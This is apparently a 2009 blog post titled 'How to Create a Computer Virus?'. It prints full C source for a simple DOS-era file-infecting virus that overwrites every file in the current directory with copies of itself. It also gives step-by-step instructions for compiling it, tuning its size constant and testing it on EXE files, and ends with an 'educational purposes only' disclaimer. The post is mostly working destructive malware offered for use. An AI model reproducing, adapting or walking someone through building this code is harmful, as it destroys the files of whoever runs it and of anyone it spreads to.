Friday, February 20, 2009

How to Create a Computer Virus?

·




Bookmark and Share

This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.


#include
#include
#include
#include
#include
#include

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:


BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4.All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY

0 comments:

Post a Comment

Related Articles


Related Article Widget by Hoctro

About Me


嗨,我是花,居住在印度兴奋的Windows,Linux中国的外籍人士和所有高科技的东西

Hi, I am Hua, a chinese expat residing in India excited about windows, linux and all things tech

Receive updates for free

Enter your email address:

Delivered by FeedBurner

Mobile Version

Bookmark

Bookmark and Share

Blog Archive